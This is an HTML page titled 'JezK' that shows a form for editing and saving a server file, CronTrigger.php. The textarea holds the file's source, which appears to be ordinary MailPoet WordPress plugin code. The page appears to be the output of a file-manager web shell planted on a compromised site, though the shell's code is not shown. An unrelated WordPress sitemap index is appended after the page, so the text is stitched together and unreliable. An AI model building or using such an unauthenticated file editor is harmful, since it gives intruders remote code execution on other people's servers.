
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: CronTrigger.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php // phpcs:ignore SlevomatCodingStandard.TypeHints.DeclareStrictTypes.DeclareStrictTypesMissing

namespace MailPoet\Cron;

if (!defined(&#039;ABSPATH&#039;)) exit;


use MailPoet\Cron\Triggers\WordPress;
use MailPoet\Settings\SettingsController;
use MailPoet\Util\Helpers;

class CronTrigger {
  const METHOD_LINUX_CRON = &#039;Linux Cron&#039;;
  const METHOD_WORDPRESS = &#039;WordPress&#039;;
  const METHOD_ACTION_SCHEDULER = &#039;Action Scheduler&#039;;

  const METHODS = [
    &#039;wordpress&#039; =&gt; self::METHOD_WORDPRESS,
    &#039;linux_cron&#039; =&gt; self::METHOD_LINUX_CRON,
    &#039;action_scheduler&#039; =&gt; self::METHOD_ACTION_SCHEDULER,
    &#039;none&#039; =&gt; &#039;Disabled&#039;,
  ];

  const DEFAULT_METHOD = self::METHOD_ACTION_SCHEDULER;
  const SETTING_NAME = &#039;cron_trigger&#039;;
  const SETTING_CURRENT_METHOD = self::SETTING_NAME . &#039;.method&#039;;

  /** @var WordPress */
  private $wordpressTrigger;

  /** @var SettingsController */
  private $settings;

  /** @var DaemonActionSchedulerRunner */
  private $cronActionScheduler;

  public function __construct(
    WordPress $wordpressTrigger,
    SettingsController $settings,
    DaemonActionSchedulerRunner $cronActionScheduler
  ) {
    $this-&gt;wordpressTrigger = $wordpressTrigger;
    $this-&gt;settings = $settings;
    $this-&gt;cronActionScheduler = $cronActionScheduler;
  }

  public function init(string $environment = &#039;&#039;) {
    $currentMethod = $this-&gt;settings-&gt;get(self::SETTING_CURRENT_METHOD);
    try {
      $this-&gt;cronActionScheduler-&gt;init($currentMethod === self::METHOD_ACTION_SCHEDULER);
      // setup WordPress cron method trigger only outside of cli environment
      if ($currentMethod === self::METHOD_WORDPRESS &amp;&amp; $environment !== &#039;cli&#039;) {
        return $this-&gt;wordpressTrigger-&gt;run();
      }
      return false;
    } catch (\Exception $e) {
      // cron exceptions should not prevent the rest of the site from loading
      Helpers::mySqlGoneAwayExceptionHandler($e);
    }
  }

  public function disable() {
    $currentMethod = $this-&gt;settings-&gt;get(self::SETTING_CURRENT_METHOD);
    try {
      if ($currentMethod === self::METHOD_ACTION_SCHEDULER) {
        // deactivate the action Scheduler
        $this-&gt;cronActionScheduler-&gt;deactivate();
      }

      if ($currentMethod === self::METHOD_WORDPRESS) {
        // deactivate WordPress cron method trigger
        $this-&gt;wordpressTrigger-&gt;stop();
      }
    } catch (\Exception $e) {
      // cron exceptions should not prevent the rest of the site from loading
    }
  }
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
